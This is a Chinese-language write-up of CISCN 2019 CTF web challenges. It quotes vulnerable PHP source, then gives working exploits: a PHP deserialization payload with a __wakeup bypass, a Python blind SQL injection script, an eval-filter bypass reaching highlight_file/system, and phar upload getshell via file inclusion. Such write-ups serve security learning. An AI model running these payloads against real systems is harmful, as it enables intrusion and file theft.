12th ciscn 2019 web writeup

To begin with

感觉今年国赛的题目偏难了,其实也暴露了自己很多深一点的内容并不熟悉。在一队大佬里面生存下来不容易,还是需要疯狂补习。

Justsooso

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
    function __construct($file){
		$this->file = $file;
		$this->token_flag=&$this->token;
    }
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}

1.添加////index.php 绕过 $url = parse_url($_SERVER['REQUEST_URI']);
使得parse_str($url['query'],$query); 中query解析失败。参考n1ctf eatingcms
2.O:6:"Handle":1:{s:14: 修改Handle 后面的值为2,绕过 wakeup 的清空操作 CVE
3.$this->token_flag=&$this->token; 用引用使变量值指向同一个值绕过随机数(记得好像是原题?)。

因为含有private 变量,需要 encode 一下。

反序列化结果如下:

O%3A6%3A"Handle"%3A2%3A%7Bs%3A14%3A"%00Handle%00handle"%3BO%3A4%3A"Flag"%3A3%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3Bs%3A5%3A"token"%3BN%3Bs%3A10%3A"token_flag"%3BR%3A4%3B%7D%7D

最终结果如下:

http://294d9bd0db16477e96225cd6b7d88fdb2b8c9372b16449b5.changame.ichunqiu.com////index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

sql

根据执行报错/执行成功但登录失败两种回显状态不同,构造注入语句,类似于布尔盲注。

#!/usr/local/bin python2.7
#coding=utf8
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf8')

burp0_url = "http://39.97.167.120:52105/"
burp0_cookies = {"PHPSESSID": "ufonfbotq70mt2f4k57m2eegm1", "__jsluid": "20d3df9b5392516291cd639840b368f3"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}

order = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for index in range(1,50):
    for i in order:
        burp0_data={"username": "' union select '"+"admin' and (select updatexml(0,unhex(((select substr(( select group_concat(`1`,`2`) from (select 1,2 union select * from user)a limit 1),{},1))='{}')^60),0))#".format(index,i), "password": "123"}
        r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
 
        a=r.content.decode('utf-8')

        if u"数据库操作失败!" not in a:
            print(i)
            break

使用 admin F1AG@1s-at_/fll1llag_h3r3 登录,有如下界面:

FryXl6HHmIQFPaJ39pipnEniMq8u

后面就是熟悉的 DDCTF 里面的 mysql 弱口令 —— Rogue-MySql-Server

flag 在 /fll1llag_h3r3 位置,直接读就好了。

唯独就是会做的时候已经不能交 flag 了 ...(还有趁早改行 py3 吧

https://www.zhaoj.in/read-5417.html 中给了较为简单的注入语句 username = admin’ union select cot(1 and left(database(),1)>’a’);#,可参考。

love math

查看源码,过滤了很多内容,限制了函数的使用,也限制了输入长度为80:

    $content = $_GET['c'];
      if (strlen($content) >= 80) {
        die("太长了不会算");
    }    
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

    foreach ($blacklist as $blackitem) {

        if (preg_match('/' . $blackitem . '/m', $content)) {

            die("请不要输入奇奇怪怪的字符");

        }

    }

    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

    foreach ($used_funcs[0] as $func) {

        if (!in_array($func, $whitelist)) {

            die("请不要输入奇奇怪怪的函数");

        }

    }

eval('echo '.$content.';'); 

根据最后的 eval 猜测应该是代码执行,拼接 system 或者 readfile 等函数。但是能够使用的函数名只有数学函数。能够使用的字符如下:

['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', '!', '#', '$', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', '\\', '^', '{', '|', '}', '~']

发现了异或,考虑之前遇到了无字母 webshell,但是引号也被过滤了,需要想办法构造出字符串。
翻一遍能够使用的函数,只有 base_convert、dechex 能够返回字符串,但是后者只能返回十六进制。前者可以到36进制。

首先可以构造出来一个

$cos=base_convert;$abs=cos(9943101159,10,30);$abs();$acos=cos(658,10,30);$abs($acos)

可以看到 phpinfo 信息,发现没有什么特殊内容,只是没有禁用函数。
之后构造 system('ls')

$abs=base_convert(600949951844,10,30);$acos=base_convert(658,10,30);$abs($acos)

然而不能读文件,需要绕过 .空格. 使用 base_convert、dechex 均很难在较短的长度下构造,但可以根据 php 复杂变量特性构造 $_GET{0},之后只需要构造出 _GET 即可,_GET 可以使用 base_convert 搞定,但是长度超了一点,考虑降低进制从而减小长度,把 base_convert、dechex 组合起来:

base_convert(1114322,10,36)^dechex(4369)

就可以得到_GET了。最终 payload:

http://8af6ab8b896d441ab8ef703a7c0dedca66e10e20db3f4ca3.changame.ichunqiu.com/calc.php?c=${1}=base_convert(1114322,10,36)^dechex(4369);${${1}}{0}(${${1}}{1})&0=highlight_file&1=flag.php

赛后看其他 wp 的想起来 $$ 用法,测试了下,还可以这样:

$_GET=array('system','ls',3);
$pi='_GET';
$$pi{0}($$pi{1});
//var_dump($$pi{0}($$pi{1}));

那么,用上面的异或拿到 _GET 也行,还可以构造出来一个 hex2bin 函数,还原出 _GET,但是需要额外从10转到16。

ref:
https://php.net/hex2bin

RefSpace

收集信息:根目录下 robots.txt、backup.zip、flag.txt

然后文件包含读源码

  • index.php
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
    header("location: ?route=app/index");
    exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag

  • app/index.php
<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>

    Hi CTFer,<br />
    这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
    Powered by Aoisystem<br />
    <!-- error_reporting(E_ALL); -->
    
</body>

</html>
  • app/flag.php
<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>

    Hi CTFer,<br />
    这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
    Powered by Aoisystem<br />
    <!-- error_reporting(E_ALL); -->
    
</body>

</html>

  • app/Up10aD.php
<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        default:
            echo "Only gif/jpg allowed";
            exit();
    }
    $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
    echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>
    我们不能让选手轻而易举的搜索到上传接口。<br />
    即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
    <form method="post" enctype="multipart/form-data">
        <label for="file">来选择你的文件吧:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>

</body>

</html>

上传 phar getshell
route=phar://upload/index.gif.gif/index

拿到 phpinfo,发现还有 sdk.php

<?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php
return sg_load('A99ED844A249E2CBAAQAAAAXAAAABGgAAACABAAAAAAAAAD/NITKImzCGI1VR9EIK9uHVUsgvUtMu+SENdmCS1ehX392cUgf5knUyGDxCMj325X7iibxp53EThwzrN/ra9pQEbnXqWWG47SMgMgHSk554rg4E2sxNtl859bWR1SmD7rN2VsgRFl8TTsHAAAAaBAAABfUjHZ7qKwZz4WpMv67AmIzcNoHPMwtJpzi5QgwafCHBbDTvg9VK0uFZGSaIiJ8fTw0lIysz/pdGfajfJZVuS8v4mbmeEulHwIvUqwxHbrxgyu7chgH4h8DGTsolnBj/060yIs5jE49hrcLOLGwYy4BXgsYxuD……');

禁用的函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,passthru,exec,system,shell_exec,proc_open,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,putenv

以及 backup.zip 中的信息:

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

如果正确的话,我们的SDK会返回flag。

PS: 为了节省各位大佬的时间,特注明
	1.此处函数return值并不是真正的flag,和真正的flag没有关系。
	2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
	3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
	4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走

引用两种方法:

解密 flag

https://xz.aliyun.com/t/4906#toc-10

通过命名空间,定义一个同名函数,利用反射类调用私有方法:

https://xz.aliyun.com/t/4904#toc-3

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus